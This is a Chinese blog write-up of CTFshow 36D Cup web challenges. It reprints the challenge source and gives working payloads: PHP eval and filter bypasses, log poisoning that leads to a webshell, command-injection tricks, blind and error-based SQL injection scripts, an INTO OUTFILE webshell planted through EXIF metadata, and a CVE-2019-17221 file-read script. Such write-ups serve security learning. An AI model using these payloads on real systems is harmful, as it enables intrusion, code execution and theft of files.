[复现]CTFshow-36D杯

给你shell

y1ng大佬的题

image-20201226101428672

F12大法,能看到有两个提示

image-20201226102012171

先看看源码

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die; 

代码不难懂,所以就测试一下haveFun函数究竟做了些啥

<?php
$flag="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
function haveFun($_f_g) {
    $_g_r = 36;
    $_h_p = $_f_g;
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        echo $_i.",";
        $_i = ord($_i);
        print_r($_i & 0xC0);
        echo "\t";
    }
    die;
}

haveFun($flag);

运行结果

image-20201226105234739

就是把数字和字母区分了一下,原题中的flag输出结果如下

image-20201226105558246

前三位是数字,后面是字符,判断的地方又有弱类型(我一开始就没注意到这个),爆破一下

image-20201226112801847

这里要注意一下把两边的分号也选上,不然两个都是字符串没法弱类型比较的

image-20201226113522901

image-20201226113551812

然后是第二关

 <?php
error_reporting(0);
session_start();


//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";


if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');


if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}


/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/ 

有个eval,用的拼接字符串,code参数可控,但是有个黑名单,过滤的挺全的,“;”,“()”什么的都没了,但是有“<>”,“?”和“~”,然后就是php黑魔法了

payload:?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

先用“]=1”闭合,然后“?>”代替分号,用require代替被过滤的include,与include一样的,可以不使用括号,然后取反操作“~”读文件

image-20201226120859265

然后按着提示去读flag

payload:?code=]=1?><?=require~%d0%99%93%9e%98?>

image-20201226121030392

ALL_INFO_U_WANT

F12找提示

image-20201226160553392

随便找个扫描器,开扫!

image-20201226160707724

源码如下

visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

?>



really really really baby challenge right? 

访问all_info_u_want.php?all_info_i_want$file=../../../../flag看到phpinfo,顺便试试目录穿越

image-20201226164425025

然后就是大师傅们的骚操作了

预期解1:日志文件包含

输入?all_info_i_want&file=../../../../var/log/nginx/access.log

image-20201226165753311

可以发现包含了日志文件,可以尝试往日志里写一句话,但是要注意这里不能直接请求,会被url编码

image-20201226170628295

那直接写在请求头里好了

image-20201226170831578

然后用蚁剑连一下

image-20201226171600159

因为只说在/etc目录下,所以查一下到底在哪

grep -r "flag" ** : 表示当前目录所有文件,也可以是某个文件名 -r 是递归查找

image-20201226172208803

(还有一种find /etc -name "*" | xargs grep "flag",但是我没成功,有成功的大佬讲讲这个啥原理嘛)

预期解2:临时文件包含

这里通过包含自身,产生一个死循环,再利用这个链接上传,会导致临时文件保留,这时候包含临时文件就可以getshell

<html>
<body>
<form action="http://d0616951-95ed-4107-8959-bc0e95a8f62e.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="选择文件">
<input type="submit" name="submit" value="上传">
</form>
</body>
</html>

(复现的时候也是有点小问题,传完php里找不到文件,就很神奇,有遇见相同情况并解决了的大佬嘛……)

WUSTCTF_朴实无华_Revenge

进来给了个源码,各路魔法

 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

第一关判断,这个数又要是回文数,又要不是回文数,可以是1.10,也可以直接-0,0-这类的

image-20201226230625699

第二关爆破md5了,给个大佬脚本

import hashlib

for i in range(0,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md52 = hashlib.md5(md5.encode()).hexdigest()
    if md52[0:2] == '0e' and md52[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break

得到0e1138100474

第三关 加个“\”绕过就好,空格%09和<都可以

c\at%09../../../flag

最终payload:?num=1.10&md5=0e1138100474&get_flag=c\at%09../../../flag

image-20201226231119520

WUSTCTF_朴实无华_Revenge_Revenge

修复了一些非预期,新的代码这样

 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

“-”不能用了(.0和0.还是可以的),多了个intval后,要和自身相等的条件,可以利用浮点数精度问题解决

num=1000000000000.00000000000010

其他的与之前一样,flag的位置不在跟目录了,读一下flag.php,一样的用反斜线绕过

get_flag=ca\t<flag.ph\p

flag按F12看

image-20201228103355379

Login_Only_For_36D

F12有提示

image-20201227094459950

简单试了一下,“”,“select”什么的都没了,还有空格也没了

没了“'”可以试试用“\”把password部分逃逸出来

image-20201227095651156

实测or后面是1还是0都返回wrong password,改时间盲注试试

image-20201227095756966

页面返回速度明显变慢,这里是个注入点,开搞

因为substr也被过滤了 要用regexp binary(regexp是不分大小写的),这里直接上大佬脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t

url = 'http://127.0.0.1:9990/'
alphabet = ['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

data = {
    'username':'admin\\',
    'password':''
}

result = ''
for i in range(20):
    for char in alphabet:
        payload = 'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(4),1)#'.format(result+char)
        data['password'] = payload
        #time
        start = int(t.time())
        r = requests.post(url, data=data)
        end = int(t.time()) - start

        if end >= 3:
            result += char
            print(result)
            break
        # else:
            # print(char)
            # print(r.text)

简单改改,运行一下

image-20201227102919931

上面是大佬的预期解,然后因为没过滤left,right函数,“=”被过滤可以使用like绕过,使用like可以用ord区分大小写(ascii也被过滤了),接着上脚本

import requests
url = "http://5c22a983-03f7-43be-a5f4-2105ffbfb71a.chall.ctf.show/"
dic = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
flag = ""
for i in range(20):
    for c in dic:
        c=ord(c)
        data = {
            'username': 'admin\\',
            'password': 'or/**/if((ord(right(left(password,{m}),1))/**/like/**/"{n}"),sleep(5),1)#'.format(m=i, n=c)
        }
        try:
            r = requests.post(url, data=data, timeout=5)
        except:
            flag += chr(c)
            print(flag)

运行结果

image-20201227163915864

拿到密码直接登录一下

image-20201227160403319

你取吧

预期解:

取黑名单并且拼接出hint,得到第一个提示

image-20201227185341938

解密一下,提示有个压缩包

image-20201227185410975

打开以后大概长这样

image-20201227185542136

找个解密脚本(我是没找到,从师傅们博客里抄了一个出来……)

<?php
function decrypt($data, $key)
{
    $data_1 = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $ch = ord($data[$i]);
        if ($ch < 245) {
            if ($ch > 136) {
                $data_1 .= chr($ch / 2);
            } else {
                $data_1 .= $data[$i];
            }
        }
    }
    $data_1 = base64_decode($data_1);
    $key = md5($key);
    $j = $ctrmax = 32;
    $data_2 = '';
    for ($i = 0; $i < strlen($data_1); $i++) {
        if ($j <= 0) {
            $j = $ctrmax;
        }
        $j--;
        $data_2 .=  $data_1[$i] ^ $key[$j];
    }
    return $data_2;
}

function find_data($code)
{
    $code_end = strrpos($code, '?>');
    if (!$code_end) {
        return "";
    }
    $data_start = $code_end + 2;
    $data = substr($code, $data_start, -46);
    return $data;
}

function find_key($code)
{
    // $v1 = $v2('bWQ1');
    // $key1 = $v1('??????');
    $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
    $pos2 = strrpos(substr($code, 0, $pos1), '$');
    $pos3 = strrpos(substr($code, 0, $pos2), '$');
    $var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
    $pos4 = strpos($code, $var_name, $pos1);
    $pos5 = strpos($code, "('", $pos4);
    $pos6 = strpos($code, "')", $pos4);
    $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
    return $key;
}

$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';

$code = file_get_contents($input_file);

$data = find_data($code);
if (!$code) {
    echo '未找到加密数据', PHP_EOL;
    exit;
}

$key = find_key($code);
if (!$key) {
    echo '未找到秘钥', PHP_EOL;
    exit;
}

$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
    $decrypted = str_rot13($uncompressed);
} else {
    $decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

然后跑一下

image-20201227185742509

解密后的php文件是个一句话

?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; 
@$c($_POST[7-1]);
?>
<?php 

然后蚁剑连一下就可以了

image-20201227190400248

非预期1:

过滤了所有字母和“~”,“^”,不能异或和取反,但是p神还发过一种利用字符自增的取到全部字符的方法,直接拿来用了

payload:" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//(记得url编码,不然加号就无了!!!)

image-20201227201856155

非预期2:

能从黑名单里提取出hint,也一定能利用黑名单拼接并闭合语句

payload:"");$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);//(system('cat /flag'))

image-20201227202914886

非预期3:

黑名单过滤了取反和异或,但是还有两个运算符可以操作,“&”和“|”,与运算符没啥操作空间,或操作符空间大了(大佬脑洞也大了啊)

"system"="@@@@@@"|"3934%-"

"cat /flag"=("@@@"|"#!4")." /".("@@@@"|"&,!'")

payload:"");$_="@@@@@@"|"3934%-";$__=("@@@"|"#!4")." /".("@@@@"|"&,!'");$_($__);//(记得url编码)

image-20201227212216359

非预期4:

这应该属于php黑魔法了,通过括号动态调用

payload:($__=$_{2}.$_{7}.$_{17}).($_1=$__(115).$__(121).$__(115).$__(116).$__(101).$__(109)).($_2=$__(99).$__(97).$__(116).$__(32).$__(47).$__(102).$__(108).$__(97).$__(103)).($_1($_2))

$__=chr

$_1=chr(115).chr(121).chr(115)……=system

$_2=chr(99).chr(97).chr(116)……=cat /flag

image-20201227220230827

这里出现个套娃,$a,$b,$a($b)都被echo了出来,如果闭合了echo,就不会输出后面的内容(可以,但没必要,毕竟之前没用到“;”)

payload:"");($__=$_{2}.$_{7}.$_{17}).($_1=$__(115).$__(121).$__(115).$__(116).$__(101).$__(109)).($_2=$__(99).$__(97).$__(116).$__(32).$__(47).$__(102).$__(108).$__(97).$__(103)).($_1($_2));//

image-20201227225019670

RemoteImageDownloader

你没见过的注入

给大佬们跪了

打开以后是个好看的前端,没法注入那种

image-20201228153039827

提示了txt,打开robots.txt看看

image-20201228153138701

是个后门,真后门,重置个密码就登进去了

image-20201228153218818

好家伙,文件上传,随便传个东西

image-20201228153445102

文件被重命名,且改了后缀,没想到什么拿shell的方法,然后去大佬博客找思路

结果还是注入,在文件类型注入……

大概是用了finfo->file()这个方法,这个方法可以检测图片的EXIF信息,EXIF信息中有一个comment字段,这个方法又会输出这个字段,并拼接到insert语句中,完成注入

修改EXIF信息用到了一个叫exiftool的工具,大佬给了个payload:

exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"

直接把sql语句写入图片,利用finfo->file()方法输出的时候,完成对字符串的拼接,并进行注入

image-20201228200536086

image-20201228200709065

image-20201228200806039

偶然直接看到另一个大佬的做法(ha1c9on)

测了一会儿后发现是元数据注入,找个图片在版权信息报错注入读文件

u’or updatexml(1,concat(0x7e,(select left(load_file(“/flag”),25))),0) or ‘

flag长多截取点

image-20201228202254307

image-20201228202620640

看到了完整的sql语句,并产生了报错,由于updatexml函数在报错时最多显示32位报错信息,所以需要再截取一次(也可以换个函数,比如换成right)拼一起就是flag

image-20201228202836363

用“人工智能”拼接一下就好(大佬们真是太强了)

RemoteImageDownloader

看起来像个SSRF,然后用vps监听一下,可以看到这个

image-20201229200646231

这个东西有个CVE-2019-17221,直接抄大佬脚本了

<html>
 <head>
 <body>
 <script>
 x=new XMLHttpRequest;
 x.onload=function(){
 document.write(this.responseText)
 };
 x.open("GET","file:///flag");
 x.send();
 </script>
 </body>
 </head>
</html>

挂到自己vps上然后点击下载就好

image-20201229225614256

posted @ 2021-01-04 10:06  N0ri  阅读(332)  评论(0编辑  收藏  举报